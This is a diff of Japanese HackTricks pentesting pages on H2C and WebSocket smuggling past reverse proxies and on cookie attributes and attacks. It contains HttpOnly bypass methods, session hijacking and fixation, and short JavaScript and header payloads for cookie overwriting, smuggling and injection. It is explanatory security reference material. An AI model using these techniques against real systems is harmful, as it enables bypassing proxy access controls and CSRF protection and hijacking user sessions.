||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で **フォロー** してください。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2Cスマグリング <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### クリアテキスト上のHTTP2(H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
#### クリアテキスト上のHTTP2(H2C)<a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C、または **クリアテキスト上のhttp2** は、標準のHTTP **接続を永続的なものにアップグレード** することで、一時的なHTTP接続の通常から逸脱します。このアップグレードされた接続は、平文のHTTPの単一リクエストの性質とは異なり、継続的な通信のためにhttp2バイナリプロトコルを利用します。
|
||||
H2C、または**クリアテキスト上のhttp2**は、標準のHTTP **接続を永続的なものにアップグレード**することで、一時的なHTTP接続の通常から逸脱します。このアップグレードされた接続は、平文のHTTPの単一リクエストの性質とは異なり、継続的な通信のためにhttp2バイナリプロトコルを利用します。
|
||||
|
||||
スマグリングの問題の核心は、**リバースプロキシ** の使用に起因します。通常、リバースプロキシはHTTPリクエストを処理し、バックエンドに転送してからバックエンドの応答を返します。ただし、HTTPリクエストに `Connection: Upgrade` ヘッダーが存在する場合(websocket接続で一般的に見られる)、リバース **プロキシはクライアントとサーバーの間に永続的な接続を維持** し、特定のプロトコルで必要な連続した交換を容易にします。H2C接続の場合、RFCへの遵守には、3つの特定のヘッダーが存在する必要があります。
|
||||
スマグリングの問題の核心は、**リバースプロキシ**の使用に起因します。通常、リバースプロキシはHTTPリクエストを処理し、バックエンドに転送してからバックエンドの応答を返します。ただし、HTTPリクエストに `Connection: Upgrade` ヘッダーが存在する場合(websocket接続で一般的に見られる)、リバースプロキシはクライアントとサーバー間の**永続的な接続を維持**し、特定のプロトコルで必要な継続的な交換を容易にします。H2C接続の場合、RFCへの遵守には、3つの特定のヘッダーが存在する必要があります。
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
Connection: Upgrade, HTTP2-Settings
|
||||
```
|
||||
脆弱性は、接続をアップグレードした後、リバースプロキシが個々のリクエストを処理するのをやめ、ルーティングの仕事が接続確立後に完了したと仮定すると発生します。H2Cスマグリングを悪用することで、リクエスト処理中に適用されるリバースプロキシのルール(パスベースのルーティング、認証、WAF処理など)を回避することが可能となります。これは、H2C接続が正常に確立された場合に適用されます。
|
||||
### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
#### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a>
|
||||
脆弱性は、リバースプロキシが`Upgrade`および時折`Connection`ヘッダーを処理する方法に依存しています。次のプロキシは、プロキシパス中にこれらのヘッダーを暗黙的に転送し、それによってH2Cスマグリングを可能にします:
|
||||
|
||||
この脆弱性は、リバースプロキシが`Upgrade`および時には`Connection`ヘッダーをどのように処理するかに依存します。次のプロキシは、プロキシパス中にこれらのヘッダーを暗黙的に転送し、それによってH2Cスマグリングを可能にします:
|
||||
- HAProxy
|
||||
- Traefik
|
||||
- Nuster
|
||||
|
||||
* HAProxy
|
||||
* Traefik
|
||||
* Nuster
|
||||
一方、次のサービスはプロキシパス中に両方のヘッダーを暗黙的に転送しません。ただし、`Upgrade`および`Connection`ヘッダーをフィルタリングせずに転送するように不適切に構成されている可能性があります:
|
||||
|
||||
一方、次のサービスは、プロキシパス中にこれらのヘッダーを暗黙的に転送しません。ただし、`Upgrade`および`Connection`ヘッダーをフィルタリングせずに転送するように不適切に構成されている可能性があります:
|
||||
|
||||
* AWS ALB/CLB
|
||||
* NGINX
|
||||
* Apache
|
||||
* Squid
|
||||
* Varnish
|
||||
* Kong
|
||||
* Envoy
|
||||
* Apache Traffic Server
|
||||
- AWS ALB/CLB
|
||||
- NGINX
|
||||
- Apache
|
||||
- Squid
|
||||
- Varnish
|
||||
- Kong
|
||||
- Envoy
|
||||
- Apache Traffic Server
|
||||
|
||||
#### 悪用 <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
重要なのは、すべてのサーバーが、準拠したH2C接続のアップグレードに必要なヘッダーを暗黙的に転送するわけではないということです。そのため、AWS ALB/CLB、NGINX、Apache Traffic Serverなどのサーバーは、通常、H2C接続をブロックします。それでも、`Connection: Upgrade`バリアント(`Connection`ヘッダーから`HTTP2-Settings`値を除外したもの)でテストする価値があります。なぜなら、一部のバックエンドが標準に準拠していない可能性があるからです。
|
||||
重要なのは、すべてのサーバーが、準拠したH2C接続のアップグレードに必要なヘッダーを暗黙的に転送するわけではないということです。そのため、AWS ALB/CLB、NGINX、Apache Traffic Serverなどのサーバーは、H2C接続をブロックします。それでも、`Connection: Upgrade`バリアント(`Connection`ヘッダーから`HTTP2-Settings`値を除外したもの)でテストする価値があります。なぜなら、一部のバックエンドが標準に準拠していない可能性があるからです。
|
||||
|
||||
{% hint style="danger" %}
|
||||
`proxy_pass` URL内で指定された特定の**パス**(例:`http://backend:9999/socket.io`)に関係なく、確立された接続は常に`http://backend:9999`にデフォルトします。これにより、このテクニックを利用して、その内部エンドポイント内の任意のパスとやり取りすることが可能となります。したがって、`proxy_pass` URL内でパスを指定してもアクセスが制限されるわけではありません。
|
||||
`proxy_pass` URLで指定された特定の**パス**(例:`http://backend:9999/socket.io`)に関係なく、確立された接続は常に`http://backend:9999`にデフォルトします。これにより、このテクニックを利用して、その内部エンドポイント内の任意のパスとやり取りすることが可能です。したがって、`proxy_pass` URLでパスを指定してもアクセスが制限されるわけではありません。
|
||||
{% endhint %}
|
||||
|
||||
[**BishopFoxのh2csmuggler**](https://github.com/BishopFox/h2csmuggler)および[**assetnoteのh2csmuggler**](https://github.com/assetnote/h2csmuggler)というツールは、H2C接続を確立することで、リバースプロキシによって適用される保護を回避し、プロキシによって保護されているリソースにアクセスする試みを支援します。
|
||||
[**BishopFoxのh2csmuggler**](https://github.com/BishopFox/h2csmuggler)および[**assetnoteのh2csmuggler**](https://github.com/assetnote/h2csmuggler)というツールは、H2C接続を確立することで、プロキシによって適用された保護を**回避**する試みを支援します。
|
||||
|
||||
この脆弱性に関する詳細情報、特にNGINXに関する情報については、[**この詳細なリソース**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)を参照してください。
|
||||
|
||||
## Websocketスマグリング
|
||||
|
||||
Websocketスマグリングは、プロキシを介してアクセス可能なエンドポイントへのHTTP2トンネルを作成するのとは異なり、Websocketトンネルを確立してプロキシの制限をバイパスし、エンドポイントとの直接通信を容易にするものです。
|
||||
|
||||
### シナリオ1
|
||||
|
||||
このシナリオでは、公開WebSocket APIとアクセスできない内部REST APIを提供するバックエンドが、内部REST APIへのアクセスを求める悪意のあるクライアントによって標的にされます。攻撃は以下の手順で展開されます:
|
||||
|
||||
1. クライアントは、ヘッダー内の正しくない`Sec-WebSocket-Version`プロトコルバージョンを持つUpgradeリクエストをリバースプロキシに送信します。リバースプロキシは`Sec-WebSocket-Version`ヘッダーを検証できないため、Upgradeリクエストを有効と認識し、バックエンドに転送します。
|
||||
2. バックエンドは、`Sec-WebSocket-Version`ヘッダーで正しくないプロトコルバージョンを示すステータスコード`426`で応答します。リバースプロキシはバックエンドの応答ステータスを見落とし、WebSocket通信の準備が整ったと誤解し、その応答をクライアントに中継します。
|
||||
3. 結果として、リバースプロキシは、クライアントとバックエンドの間にWebSocket接続が確立されたと誤解しますが、実際にはバックエンドがUpgradeリクエストを拒否していたため、そのような接続は存在しません。それにもかかわらず、プロキシはクライアントとバックエンドの間にオープンなTCPまたはTLS接続を維持し、クライアントがこの接続を通じてプライベートREST APIに無制限にアクセスできるようにします。
|
||||
|
||||
影響を受けるリバースプロキシには、この問題に対処しなかったVarnishや、バージョン1.8.0以前のEnvoyプロキシなどが含まれます。他のプロキシも影響を受ける可能性があります。
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
|
||||
|
||||
### シナリオ2
|
||||
|
||||
このシナリオでは、公開WebSocket APIと公開REST API(ヘルスチェック用)を持つバックエンドが、アクセスできない内部REST APIを持っています。より複雑な攻撃は、以下の手順を含みます:
|
||||
|
||||
1. クライアントは、追加のHTTPヘッダー`Upgrade: websocket`を含むPOSTリクエストを送信してヘルスチェックAPIをトリガーします。リバースプロキシとして機能するNGINXは、`Upgrade`ヘッダーに基づいて標準のUpgradeリクエストとしてこれを解釈し、リクエストの他の側面を無視してバックエンドに転送します。
|
||||
2. バックエンドはヘルスチェックAPIを実行し、攻撃者が制御する外部リソースに到達してHTTPレスポンスを返します。このレスポンスは、バックエンドに受信され、NGINXに転送されると、ステータスコード`101`を持つHTTPレスポンスによって、プロキシはステータスコードのみを検証するため、WebSocket接続が確立されたと誤解します。
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
||||
> **警告:** このテクニックの複雑さは、ステータスコード101を返すエンドポイントとやり取りできる能力が必要となるため、増加します。
|
||||
|
||||
最終的に、NGINXはクライアントとバックエンドの間にWebSocket接続が存在すると誤解します。実際にはそのような接続は存在せず、ヘルスチェックREST APIが標的となります。それでも、リバースプロキシは接続を維持し、クライアントがこの接続を介してプライベートREST APIにアクセスできるようにします。
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||
|
||||
ほとんどのリバースプロキシはこのシナリオに対して脆弱ですが、悪用は通常、低重要度の問題と見なされる外部SSRF脆弱性の存在に依存します。
|
||||
|
||||
#### ラボ
|
||||
|
||||
両方のシナリオをテストするためのラボは、[https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)で確認できます。
|
||||
|
||||
### 参考文献
|
||||
|
||||
* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
|
||||
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
|
||||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
この脆弱性に関する詳細情報、特にNGINXに関する情報は、[**この詳細なリソース**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)を参照してください。
|
||||
|
|
|
@ -6,47 +6,55 @@
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
## Cookie 属性
|
||||
**Try Hard Security Group**
|
||||
|
||||
Cookie には、ユーザーのブラウザでの動作を制御するいくつかの属性が付属しています。以下はこれらの属性についての概要です(より受動的な声で):
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Expires と Max-Age
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
Cookie の有効期限は `Expires` 属性によって決定されます。逆に、`Max-age` 属性は、Cookie が削除されるまでの秒数を定義します。**より現代的な慣行を反映するために `Max-age` を選択してください。**
|
||||
***
|
||||
|
||||
### Domain
|
||||
## Cookie属性
|
||||
|
||||
Cookie を受け取るホストは `Domain` 属性で指定されます。デフォルトでは、これはCookieを発行したホストに設定されており、そのサブドメインは含まれません。ただし、`Domain` 属性が明示的に設定されている場合、サブドメインも含まれます。これにより、`Domain` 属性の指定は、サブドメイン間でのCookie共有が必要なシナリオに役立つ制限の少ないオプションとなります。たとえば、`Domain=mozilla.org` を設定すると、`developer.mozilla.org` のようなサブドメインでCookieにアクセスできます。
|
||||
Cookieには、ユーザーのブラウザでの動作を制御するいくつかの属性が付属しています。以下はこれらの属性についての概要です(より受動的な声で):
|
||||
|
||||
### Path
|
||||
### 有効期限とMax-Age
|
||||
|
||||
`Path` 属性によって、`Cookie` ヘッダーを送信するためにリクエストされたURLに存在する必要がある特定のURLパスが示されます。この属性は、`/` 文字をディレクトリセパレータとして考慮し、サブディレクトリでも一致するようにします。
|
||||
Cookieの有効期限は`Expires`属性によって決定されます。逆に、`Max-age`属性はCookieが削除されるまでの時間(秒単位)を定義します。**より現代的な慣行を反映するために`Max-age`を選択してください。**
|
||||
|
||||
### ドメイン
|
||||
|
||||
Cookieを受信するホストは`Domain`属性で指定されます。デフォルトでは、これはCookieを発行したホストに設定されており、そのサブドメインは含まれません。ただし、`Domain`属性が明示的に設定されている場合、サブドメインも含まれます。これにより、`Domain`属性の指定は、サブドメイン間でCookieを共有する必要があるシナリオに役立つより制限の少ないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`などのサブドメインでCookieにアクセスできます。
|
||||
|
||||
### パス
|
||||
|
||||
`Path`属性は、要求されたURLに存在する必要がある特定のURLパスを示します。この属性は`/`文字をディレクトリセパレータとして考慮し、サブディレクトリでも一致させることができます。
|
||||
|
||||
### 順序付けルール
|
||||
|
||||
同じ名前の2つのCookieがある場合、送信するCookieは次の基準に基づいて選択されます:
|
||||
|
||||
* リクエストされたURLの最も長いパスに一致するCookie。
|
||||
* 要求されたURLの最も長いパスに一致するCookie。
|
||||
* パスが同じ場合は、最も最近に設定されたCookie。
|
||||
|
||||
### SameSite
|
||||
|
||||
* `SameSite` 属性は、サードパーティドメインからのリクエストでCookieが送信されるかどうかを指示します。3つの設定があります:
|
||||
* `SameSite`属性は、サードパーティドメインからのリクエストでCookieが送信されるかどうかを指示します。3つの設定があります:
|
||||
* **Strict**: サードパーティリクエストでCookieの送信を制限します。
|
||||
* **Lax**: サードパーティウェブサイトによって開始されたGETリクエストとともにCookieの送信を許可します。
|
||||
* **Lax**: サードパーティウェブサイトによって開始されたGETリクエストでCookieの送信を許可します。
|
||||
* **None**: 任意のサードパーティドメインからCookieの送信を許可します。
|
||||
|
||||
Cookieを構成する際には、これらの属性を理解することで、さまざまなシナリオで期待どおりに動作することを確認できます。
|
||||
|
||||
| **リクエストタイプ** | **例のコード** | **Cookie が送信される場合** |
|
||||
| **リクエストタイプ** | **例のコード** | **Cookieの送信時** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
| リンク | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| プリレンダー | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
|
@ -57,23 +65,23 @@ Cookieを構成する際には、これらの属性を理解することで、
|
|||
| 画像 | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) からの表と若干修正されています。\
|
||||
**SameSite** 属性を持つCookieは、ログインセッションが必要なCSRF攻撃を**緩和**します。
|
||||
_**SameSite**_属性を持つCookieは、ログインセッションが必要なCSRF攻撃を**緩和**します。
|
||||
|
||||
**\*Chrome80(2019年2月)以降、SameSite属性のないCookieのデフォルト動作はlaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
この変更を適用した後、Chromeでは、**SameSiteポリシーのないCookie**は、**最初の2分間はNone**として扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対して**Lax**として扱われます。
|
||||
**\*Chrome80(2019年2月)から、SameSite属性のないCookieのデフォルト動作はlaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
一時的に、この変更を適用した後、Chromeでは**SameSiteポリシーのないCookie**は、**最初の2分間はNone**として扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対してLaxとして扱われます。
|
||||
|
||||
## Cookies フラグ
|
||||
|
||||
### HttpOnly
|
||||
|
||||
これにより、**クライアント**がCookieにアクセスできなくなります(例: `document.cookie` を介した**Javascript**など)。
|
||||
これにより、**クライアント**がCookieにアクセスできなくなります(たとえば、`document.cookie`を使用したJavaScript経由で)。
|
||||
|
||||
#### **バイパス**
|
||||
|
||||
* ページがリクエストの応答としてCookieを送信している場合(たとえば**PHPinfo**ページなど)、XSSを悪用してこのページにリクエストを送信し、応答からCookieを**盗む**ことが可能です(例は[https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)にあります)。
|
||||
* このバイパスは、サーバーからの応答として**TRACE** **HTTP**リクエストを送信することでバイパスできます(このHTTPメソッドが利用可能な場合)。この技術は**Cross-Site Tracking**と呼ばれます。
|
||||
* この技術は、**現代のブラウザがJSからTRACE**リクエストの送信を許可しないことで回避されます。ただし、IE6.0 SP2には、`TRACE`の代わりに`\r\nTRACE`を送信するなど、この問題を回避する方法が見つかっています。
|
||||
* もう1つの方法は、ブラウザのゼロ/デイ脆弱性を悪用することです。
|
||||
* ページがリクエストの応答としてCookieを送信している場合(たとえば、**PHPinfo**ページなど)、XSSを悪用してこのページにリクエストを送信し、応答からCookieを**盗む**ことが可能です(例は[こちら](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照)。
|
||||
* この方法は、サーバーからの応答として**TRACE** **HTTP**リクエストを送信することでバイパスできます(このHTTPメソッドが利用可能な場合)。この技術は**Cross-Site Tracking**と呼ばれます。
|
||||
* この技術は、**現代のブラウザがJSからTRACE**リクエストの送信を許可しないことで回避されます。ただし、IE6.0 SP2に対して`TRACE`の代わりに`\r\nTRACE`を送信するなど、この問題を回避する方法が特定のソフトウェアで見つかっています。
|
||||
* 他の方法は、ブラウザのゼロデイ脆弱性を悪用することです。
|
||||
* Cookie Jarオーバーフローアタックを実行することで、**HttpOnly Cookieを上書き**することが可能です:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
|
@ -88,25 +96,25 @@ Cookieを構成する際には、これらの属性を理解することで、
|
|||
|
||||
## Cookies プレフィックス
|
||||
|
||||
`__Secure-` で始まるCookieは、HTTPSで保護されたページから設定する必要があります。
|
||||
`__Secure-`で始まるCookieは、HTTPSで保護されたページから設定する必要があります。
|
||||
|
||||
`__Host-` で始まるCookieには、いくつかの条件があります:
|
||||
`__Host-`で始まるCookieには、いくつかの条件があります:
|
||||
|
||||
* `secure` フラグで設定する必要があります。
|
||||
* `secure`フラグで設定する必要があります。
|
||||
* HTTPSで保護されたページから発信する必要があります。
|
||||
* ドメインを指定することは禁止されており、サブドメインに送信されることを防ぎます。
|
||||
* これらのCookieのパスは `/` に設定する必要があります。
|
||||
* これらのCookieのパスは`/`に設定する必要があります。
|
||||
|
||||
`__Host-` で始まるCookieは、スーパードメインやサブドメインに送信することが許可されていません。この制限は、アプリケーションCookieを分離するのに役立ちます。したがって、すべてのアプリケーションCookieに `__Host-` プレフィックスを使用することは、セキュリティと分離を向上させるための良い慣行と考えられます。
|
||||
`__Host-`で始まるCookieは、スーパードメインやサブドメインに送信することが許可されていません。この制限により、アプリケーションCookieを分離するのに役立ちます。したがって、すべてのアプリケーションCookieに`__Host-`プレフィックスを使用することは、セキュリティと分離を向上させるための良い慣行と考えられます。
|
||||
## Cookies Attacks
|
||||
|
||||
### Cookieの攻撃
|
||||
|
||||
カスタムCookieに機密データが含まれている場合は、そのCookieをチェックしてください(特にCTFをプレイしている場合)。Base64などでエンコードされたCookieには、デコードできることがよくあります。この脆弱性により、攻撃者はCookieの内容を変更し、修正したデータをCookieにエンコードして他のユーザーをなりすますことができます。
|
||||
カスタムCookieに機密データが含まれている場合は、それを確認してください(特にCTFをプレイしている場合)。Base64などでエンコードされたCookieには、デコードできることがよくあります。この脆弱性により、攻撃者はCookieの内容を変更し、修正したデータをCookieにエンコードして他のユーザーをなりすますことができます。
|
||||
|
||||
### セッションハイジャック
|
||||
|
||||
この攻撃は、ユーザーのCookieを盗んでアプリケーション内のアカウントに不正アクセスをすることを目的としています。盗んだCookieを使用することで、攻撃者は合法的なユーザーをなりすますことができます。
|
||||
この攻撃は、ユーザーのCookieを盗んでアプリケーション内のアカウントに不正アクセスすることを目的としています。盗んだCookieを使用することで、攻撃者は合法的なユーザーをなりすますことができます。
|
||||
|
||||
### セッションフィクセーション
|
||||
|
||||
|
@ -120,7 +128,7 @@ Cookieを構成する際には、これらの属性を理解することで、
|
|||
|
||||
### セッション寄付
|
||||
|
||||
ここでは、攻撃者が被害者に攻撃者のセッションCookieを使用するよう説得します。被害者は、自分のアカウントにログインしていると信じて、実際には攻撃者のアカウントのコンテキストで操作を行うことになります。
|
||||
ここでは、攻撃者が被害者に自分のセッションCookieを使用するよう説得します。被害者は、自分のアカウントにログインしていると信じて、実際には攻撃者のアカウントのコンテキストで操作を行うことになります。
|
||||
|
||||
**サブドメインでXSSを見つけた**場合や**サブドメインを制御している**場合は、次を読んでください:
|
||||
|
||||
|
@ -132,11 +140,11 @@ Cookieを構成する際には、これらの属性を理解することで、
|
|||
|
||||
前述のリンクをクリックして、JWTの潜在的な欠陥について説明したページにアクセスしてください。
|
||||
|
||||
Cookieで使用されるJSON Web Tokens(JWT)にも脆弱性が存在する可能性があります。JWTのハッキングに関する詳細情報やそれらを悪用する方法については、リンクされたJWTのハッキングに関する文書にアクセスすることをお勧めします。
|
||||
Cookieで使用されるJSON Web Tokens(JWT)にも脆弱性が存在する可能性があります。JWTのハッキングに関するリンクされた文書にアクセスして、潜在的な欠陥やそれらを悪用する方法について詳細な情報を入手することをお勧めします。
|
||||
|
||||
### クロスサイトリクエストフォージェリ(CSRF)
|
||||
|
||||
この攻撃は、ログインしているユーザーに、現在認証されているWebアプリケーションで望ましくないアクションを実行させることを強制します。攻撃者は、脆弱なサイトに送信されるすべてのリクエストと一緒に自動的に送信されるCookieを悪用することができます。
|
||||
この攻撃は、ログインしているユーザーに、現在認証されているWebアプリケーションで望ましくないアクションを実行させることを強制します。攻撃者は、脆弱なサイトに送信されるすべてのリクエストと共に自動的に送信されるCookieを悪用することができます。
|
||||
|
||||
### 空のCookie
|
||||
|
||||
|
@ -146,7 +154,7 @@ document.cookie = "a=v1"
|
|||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
以下は、送信されたcookieヘッダー内の結果です:`a=v1; test value; b=v2;`。興味深いことに、空の名前cookieが設定されると、他のcookieを制御する可能性があります。特定の値に空のcookieを設定することで、他のcookieを操作できます。
|
||||
以下は送信されたcookieヘッダーの結果です:`a=v1; test value; b=v2;`。興味深いことに、空の名前cookieが設定されると、他のcookieを制御する可能性があります。特定の値に空のcookieを設定することで、他のcookieを操作できます。
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`;
|
||||
|
@ -156,27 +164,27 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
|
|||
```
|
||||
#### Chromeのバグ: Unicodeサロゲートコードポイントの問題
|
||||
|
||||
Chromeでは、Unicodeサロゲートコードポイントがセットされたクッキーの場合、`document.cookie`が破損し、その後空の文字列が返されます。
|
||||
Chromeでは、設定されたクッキーにUnicodeサロゲートコードポイントが含まれている場合、`document.cookie`が破損し、その後空の文字列が返されます。
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
これにより、`document.cookie` は空の文字列を出力し、永続的な破損を示します。
|
||||
これにより、`document.cookie` が空の文字列を出力し、永続的な破損が示されます。
|
||||
|
||||
#### 解析の問題によるCookieスマグリング
|
||||
#### パーシングの問題によるCookieスマグリング
|
||||
|
||||
(詳細は[オリジナルリサーチ](https://blog.ankursundara.com/cookie-bugs/)を参照してください)Java(Jetty、TomCat、Undertow)およびPython(Zope、cherrypy、web.py、aiohttp、bottle、webob)を含むいくつかのWebサーバーは、古いRFC2965サポートのためにCookie文字列を誤って処理します。セミコロンを含むダブルクォートで囲まれたCookie値を、通常はキーと値のペアを区切るはずのセミコロンを含む単一の値として読み取ります。
|
||||
([元の研究](https://blog.ankursundara.com/cookie-bugs/)で詳細を確認してください)Java(Jetty、TomCat、Undertow)およびPython(Zope、cherrypy、web.py、aiohttp、bottle、webob)を含むいくつかのWebサーバーは、古いRFC2965サポートのためにCookie文字列を誤処理しています。セミコロンを含むダブルクォートで囲まれたCookie値を、通常はキーと値のペアを区切るはずのセミコロンを含んでいても、単一の値として読み取ります。
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Cookie Injection Vulnerabilities
|
||||
|
||||
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) サーバーによるクッキーの誤った解析、特にUndertow、Zope、Pythonの`http.cookie.SimpleCookie`および`http.cookie.BaseCookie`を使用するサーバーは、クッキーインジェクション攻撃の機会を作成します。これらのサーバーは新しいクッキーの開始を適切に区切らず、攻撃者がクッキーをスプーフィングすることを可能にします:
|
||||
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) サーバーによるクッキーの誤った解析、特にUndertow、Zope、Pythonの`http.cookie.SimpleCookie`および`http.cookie.BaseCookie`を使用するサーバーは、クッキーインジェクション攻撃の機会を作成します。これらのサーバーは新しいクッキーの開始を適切に区切らず、攻撃者がクッキーを偽装できるようにします:
|
||||
|
||||
- Undertowは、セミコロンなしで引用された値の直後に新しいクッキーを期待します。
|
||||
- Zopeは、次のクッキーの解析を開始するためにコンマを探します。
|
||||
- Pythonのクッキークラスは、スペース文字で解析を開始します。
|
||||
|
||||
この脆弱性は、クッキーをベースとしたCSRF保護に依存するWebアプリケーションにとって特に危険であり、攻撃者がスプーフィングされたCSRFトークンクッキーを注入し、セキュリティ対策を迂回する可能性があります。この問題は、Pythonが重複するクッキー名の処理によって悪化し、最後の出現が以前のものを上書きする点に関して懸念があります。また、安全でないコンテキストでの`__Secure-`および`__Host-`クッキーに対する懸念が高まり、クッキーがスプーフィングに対して脆弱なバックエンドサーバーに渡されると認可バイパスが発生する可能性があります。
|
||||
